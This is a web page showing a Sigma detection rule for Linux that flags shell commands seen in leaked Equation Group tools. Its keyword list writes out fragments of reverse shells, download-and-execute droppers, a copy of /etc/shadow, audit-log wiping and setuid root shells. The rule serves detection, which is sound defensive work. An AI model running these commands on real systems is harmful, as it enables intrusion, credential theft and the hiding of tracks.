Equation Group Indicators — Sigma Rule

Rule metadata and linked tags

Author: Florian Roth (Nextron Systems). Source status: test; severity: high. Source dates: 2017-04-09 / 2021-11-27.

{
  "product": "linux"
}

Pinned original Sigma rule · Detection Rule License 1.1

Source SHA-256: 39d4bc254ac74c81d226308e39c2887eff0c6696c7cceaac57dd231bbfe449f6

Detection logic

Original source YAML. Source-tag agreement is not proof of complete semantic coverage. This rule has not been compiled for a SIEM backend or validated against live telemetry here.

title: Equation Group Indicators
id: 41e5c73d-9983-4b69-bd03-e13b67e9623c
status: test
description: Detects suspicious shell commands used in various Equation Group scripts and tools
references:
    - https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1
author: Florian Roth (Nextron Systems)
date: 2017-04-09
modified: 2021-11-27
tags:
    - attack.execution
    - attack.g0020
    - attack.t1059.004
logsource:
    product: linux
detection:
    keywords:
        # evolvingstrategy, elgingamble, estesfox
        - 'chown root*chmod 4777 '
        - 'cp /bin/sh .;chown'
        # tmpwatch
        - 'chmod 4777 /tmp/.scsi/dev/bin/gsh'
        - 'chown root:root /tmp/.scsi/dev/bin/'
        # estesfox
        - 'chown root:root x;'
        # ratload
        - '/bin/telnet locip locport < /dev/console | /bin/sh'
        - '/tmp/ratload'
        # ewok
        - 'ewok -t '
        # xspy
        - 'xspy -display '
        # elatedmonkey
        - 'cat > /dev/tcp/127.0.0.1/80 <<END'
        # ftshell
        - 'rm -f /current/tmp/ftshell.latest'
        # ghost
        - 'ghost_* -v '
        # morerats client
        - ' --wipe > /dev/null'
        # noclient
        - 'ping -c 2 *; grep * /proc/net/arp >/tmp/gx'
        - 'iptables * OUTPUT -p tcp -d 127.0.0.1 --tcp-flags RST RST -j DROP;'
        # auditcleaner
        - '> /var/log/audit/audit.log; rm -f .'
        - 'cp /var/log/audit/audit.log .tmp'
        # reverse shell
        - 'sh >/dev/tcp/* <&1 2>&1'
        # packrat
        - 'ncat -vv -l -p * <'
        - 'nc -vv -l -p * <'
        # empty bowl
        - '< /dev/console | uudecode && uncompress'
        - 'sendmail -osendmail;chmod +x sendmail'
        # echowrecker
        - '/usr/bin/wget -O /tmp/a http* && chmod 755 /tmp/cron'
        # dubmoat
        - 'chmod 666 /var/run/utmp~'
        # poptop
        - 'chmod 700 nscd crond'
        # abopscript
        - 'cp /etc/shadow /tmp/.'
        # ys
        - '</dev/console |uudecode > /dev/null 2>&1 && uncompress'
        # jacktelnet
        - 'chmod 700 jp&&netstat -an|grep'
        # others
        - 'uudecode > /dev/null 2>&1 && uncompress -f * && chmod 755'
        - 'chmod 700 crond'
        - 'wget http*; chmod +x /tmp/sendmail'
        - 'chmod 700 fp sendmail pt'
        - 'chmod 755 /usr/vmsys/bin/pipe'
        - 'chmod -R 755 /usr/vmsys'
        - 'chmod 755 $opbin/*tunnel'
        - 'chmod 700 sendmail'
        - 'chmod 0700 sendmail'
        - '/usr/bin/wget http*sendmail;chmod +x sendmail;'
        - '&& telnet * 2>&1 </dev/console'
    condition: keywords
falsepositives:
    - Unknown
level: high

Original YAML and metadata in JSON

False positives

• Unknown

Source references

• https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1